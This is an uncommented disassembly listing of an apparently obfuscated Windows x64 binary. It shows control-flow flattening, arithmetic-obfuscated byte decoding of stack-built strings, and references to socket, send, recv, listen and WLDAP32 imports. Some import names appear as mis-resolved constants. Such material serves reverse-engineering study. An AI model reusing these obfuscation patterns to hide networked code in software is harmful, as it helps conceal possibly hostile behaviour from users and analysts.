add r11b, bl
lea rax, [r8 + r9]
cmp rax, 6
je 0x14009c0f9
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14009beb1
movabs rdx, 0x10284fbecc4414d2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x14009bbc8
movabs rcx, 0x20509f7d988829a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
jmp 0x14009c35d
movabs rcx, 0xeff90492d1d0330
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
movabs rcx, 0xfdae8114c1b1dcbc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x24
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
movabs rdx, 0xec5d71e05646b648
mov ecx, 4
jmp 0x14009c2b3
movabs rdx, 0xdb0c62abeadb8fd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14009b692
movabs rdx, 0xc9bb53777f706960
mov ecx, Ordinal_50
jmp 0x14009c282
movabs rcx, 0xb86a4443140542ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x14009c243
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x14009bda5
movabs rdx, 0x8a8879a35b5933a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009bc31
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009bdeb
movabs rdx, 0x6ba63f4ccfca2784
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x988]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b692
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009be20
movabs rdx, 0x8e485db5a6a0746c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009c35d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009be60
movabs rcx, 0x9f996cea120b9ae0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009be90
movabs rcx, 0xc23b8b52e8e1e7c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x14009c2c7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009bc31
movabs rdx, 0xe4dda9bbbfb834b0
mov ecx, Ordinal_26
jmp 0x14009c282
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009bee6
movabs rdx, 0x21795ef337af3b46
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009c243
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009bf1c
movabs rcx, 0x441b7d5c0e85882e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x42
dec rdi
inc rdi
jmp 0x14009b692
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009bf61
movabs rdx, 0x780eaaf950c6fb8a
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009bbd4
movabs rcx, 0xac01d89693086ee6
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4a
movzx eax, byte [rbp + rdi + 0x988]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b692
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009bfe3
movabs rcx, 0xd74c7e999f944f08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
movzx eax, byte [rbp + rdi + 0x988]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b692
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c018
movabs rdx, 0xf9ee9d02766a9bf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009c35d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009c060
movabs rdx, 0x1c90bb6b4d40e8d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009c090
movabs rcx, 0x2de1ca9fb8ac0f4c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x14009c2c7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009bb83
movabs rcx, 0x5083e9088f825c34
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
inc r9
dec rdi
inc rdi
jmp 0x14009b692
movabs rdx, 0x847716a5d1c3cf90
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x988]
add r11b, bl
add r11b, dl
jmp 0x14009c2c7
movabs rdx, 0x95c825da3d2ef604
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x988]
sub r11b, 0x1c
add r11b, dl
jmp 0x14009c35d
movabs rdx, 0x51aca87e2ea96dd6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x988]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b692
movabs rdx, 0x2f0a8a1557d320ee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009c35d
movabs rcx, 0x1db97ae0ec67fa7a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x56
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
movabs rdx, 0xfb175c781591ad92
mov ecx, 1
jmp 0x14009c2b3
movabs rdx, 0xe9c64d43aa26871e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x14009b692
movabs rcx, 0xc7242edad3503a36
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x14009c243
movabs rdx, 0xa4821071fc79ed4e
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x22
add r11b, dl
movabs rcx, 0x7bce8f0b9c0e3c56
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x5a
add bl, cl
mov byte [rbp + rdi + 0x988], bl
inc r9
dec rdi
inc rdi
jmp 0x14009b692
movabs rdx, 0x9331013d910ec6da
mov ecx, 5
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x14009b692
movabs rdx, 0x708ee2d4ba3879f2
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x8d1f9e40077962ca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x988], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
movabs rcx, 0x4decc46be3622d0a
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x46
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
mov rbx, r10
movabs rax, 0x3c9bb53777f70696
add rax, rdi
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rbx + rax]
sub r11b, 0x1a
movabs rdx, 0x9e70ad7472e4893e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x988], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0xa719350ea89a1c78
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x48
add bl, cl
mov byte [rbp + rdi + 0x988], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x988]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b692
movabs rdx, 0x19f996cea120b9ae
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x988]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b692
movabs rdx, 0x7f8e731de7557d22
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b68e
movabs rdx, 0x6e3d63e97bea56ae
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b671
lea rcx, [rbp + 0x17ef480]
jmp 0x14009c47c
lea rcx, [rbp + 0xb487ba]
jmp 0x14009c47c
lea rcx, [rbp + 0x988]
mov rdx, rsi
call fcn.140035c60
test al, al
je 0x14009c4da
lea rdx, [0x140229fa0]
lea rcx, [rbp + 0x268]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xd8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
movzx ecx, byte [rax]
mov byte [0x14022bd69], cl
lea rdx, [0x140229e60]
lea rcx, [rbp + 0x288]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xf8]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
mov rdi, rax
mov byte [rbp + 0xd48], Ordinal_200
mov byte [rbp + 0xd49], 0xe1
mov byte [rbp + 0xd4a], 0xe4
mov byte [rbp + 0xd4b], 0xf6
mov byte [rbp + 0xd4c], 0xc9
mov byte [rbp + 0xd4d], 0xfc
mov byte [rbp + 0xd4e], 0xe9
mov byte [rbp + 0xd4f], 0xf7
mov byte [rbp + 0xd50], 0xf7
mov byte [rbp + 0xd51], 0xf6
mov byte [rbp + 0xd52], 0xf8
mov byte [rbp + 0xd53], 0x63
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd54], xmm0
mov dword [rbp + 0xd64], eax
mov word [rbp + 0xd68], ax
mov byte [rbp + 0xd6a], al
movabs rsi, 0x8e588fb9ba00963a
movabs r13, 0x8cdfa551fcaab1d2
movabs r14, 0x7d6ec38430ae8d06
movabs r15, 0x63af78e037592962
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009d1e3
movzx r11d, byte [rbp + rbx + 0xd48]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14009d1d7
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14009c633
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x42
jmp 0x14009c670
je 0x14009d14a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009d0b0
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009d079
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009d025
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009cfd0
nop dword [rax]
cmp r9, rbx
ja 0x14009d1cb
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14009c6a6
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009c6d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009cfab
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009cf81
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009cf4d
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14009cbb0
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009cb87
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009cb59
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009cb2a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009cb02
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009cad9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009caa4
lea r8, [r9 + 0x10]
lea r9, [r8 + 3]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009d1a7
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009d17e
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009c85c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009c83c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009c81d
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009ca40
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009c9e9
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009c998
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009c968
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009c6e0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009c92e
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009c906
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009c8dd
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14009c8a9
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009c880
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x2a]
jmp 0x14009c6e0
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2a
add r10b, dl
jmp 0x14009c6d0
lea rdx, [rbx + r15]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c670
movabs rcx, 0x49f02e3c3e03c5be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x14009c5f5
movabs rdx, 0xbc7533deaaf2340
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d098
movabs rcx, 0xf2080899f159bf9c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x44
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c5e2
movabs rdx, 0xd848bdf5f8045bf8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d0d1
movabs rdx, 0xbe897351feaef854
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
add r10b, dl
jmp 0x14009d101
movabs rdx, 0xa4ca28ae055994b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c5e2
movabs rcx, 0xe46bee1416041b96
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1a
mov byte [rbp + rbx + 0xd48], r10b
inc rbx
jmp 0x14009c5e2
movabs rdx, 0xcaaca3701caeb7f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x42
jb 0x14009c988
movabs rcx, 0x211bdeaaac02d9ac
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x68]
jmp 0x14009cff3
movabs rdx, 0xb0ed58cc2359544e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x22
add r10b, dl
cmp r8, 0x28
jae 0x14009ceec
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14009cde7
movabs rdx, 0x1fa2f442eeacf544
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
jmp 0x14009c9b0
movabs rdx, 0x972e0e282a03f0aa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
lea rax, [r8 + r9]
cmp rax, 1
je 0x14009cf1c
lea rdx, [r9 + 3]
cmp r8, rdx
jbe 0x14009cc99
movabs rdx, 0x914a648934ac5f0a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x46
jmp 0x14009ca09
movabs rcx, 0x8d57e6e70035a70
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x10
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c5e2
movabs rdx, 0xef1633ca76adf6cc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d098
movabs rdx, 0xd556e9267d589328
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x18
add r10b, dl
jmp 0x14009d049
movabs rdx, 0xbb979e8284032f84
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009c5e2
movabs rcx, 0xa1d853de8aadcbe0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x14009c5e2
movabs rdx, 0x8819093a9158683c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009cff3
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14009cbd4
lea rdx, [rbx + r13]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x14009ca58
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009cc16
movabs rcx, 0x1cb11f7374012c74
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c5e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009cc47
movabs rcx, 0x502fb4bb66abf3bc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
jmp 0x14009d0d1
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009cc68
movabs rdx, 0x9d6d94a752ac1ea8
mov ecx, 0x34
jmp 0x14009d034
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009ca64
movabs rcx, 0xeaab74933eac4994
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xc
jmp 0x14009cff3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14009cccc
movabs rdx, 0xab09af2d2e01c2ae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009cff0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009cd08
movabs rdx, 0xde88447520ac89f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009c5e2
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009cd39
movabs rcx, 0xf8478f191a01ed9a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x14009d049
lea rax, [rdx + 1]
cmp r8, rax
jne 0x14009cd6f
movabs rdx, 0x1206d9bd1357513e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d098
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14009cdb1
movabs rcx, 0x2bc624610cacb4e2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c5e2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14009ca0c
movabs rdx, 0x45856f0506021886
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d0d1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009ce2a
movabs rcx, 0x39623ee6e80258e8
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c5e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009ce5b
movabs rcx, 0x6ce0d42edaad2030
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x14009d0d1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ce7c
movabs rdx, 0xba1eb41ac6ad4b1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14009d034
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009cebb
movabs rdx, 0xed9d4962b9581264
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14009c5e2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009c9bc
movabs rcx, 0x75c9406b2ad7608
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x14009cff3
movabs rdx, 0x3adb294ea5583d50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xd48]
sub r10b, al
sub r10b, 0x30
add r10b, r11b
add r10b, dl
jmp 0x14009d049
movabs rdx, 0x549a73f29eada0f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xd48]
add r10b, dl
add r10b, r11b
jmp 0x14009d0d1
movabs rcx, 0x28d44f919200ec12
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7e
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c5e2
movabs rcx, 0xdb966fa5a600c126
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
dec rbx
inc rbx
jmp 0x14009c5e2
movabs rdx, 0xa817da5db355f9de
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x12
jmp 0x14009cff0
movabs rdx, 0x74994515c0ab3296
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1a
add r10b, dl
movabs rcx, 0xadfb83fca8ad8b7e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x72
add cl, r11b
mov byte [rbp + rbx + 0xd48], cl
inc r9
dec rbx
inc rbx
jmp 0x14009c5e2
movabs rdx, 0x275b6529d4ab07aa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, rbx
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0xc7bacea0a202ef22
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, r11b
mov byte [rbp + rbx + 0xd48], cl
jmp 0x14009d098
movabs rcx, 0xd9c1a85db55a406
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009c5e2
mov r11, rdx
movabs rcx, 0xda1d853de8aadcbe
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x32
movabs rcx, 0xe17a19449b5852c6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6a
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0xd48], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x6e59be9698030498
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x28
add r11b, cl
mov byte [rbp + rbx + 0xd48], r11b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c5e2
movabs rcx, 0xa69eeff5f6001576
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x3a
movzx eax, byte [rbp + rbx + 0xd48]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009c5e2
movabs rdx, 0x3030e39844ae621a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009c5e0
movabs rcx, 0x167198f44b58fe76
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x14009c5d0
lea rcx, [rbp + 0x16f8660]
jmp 0x14009d1ea
lea rcx, [rbp + 0x11a3832]
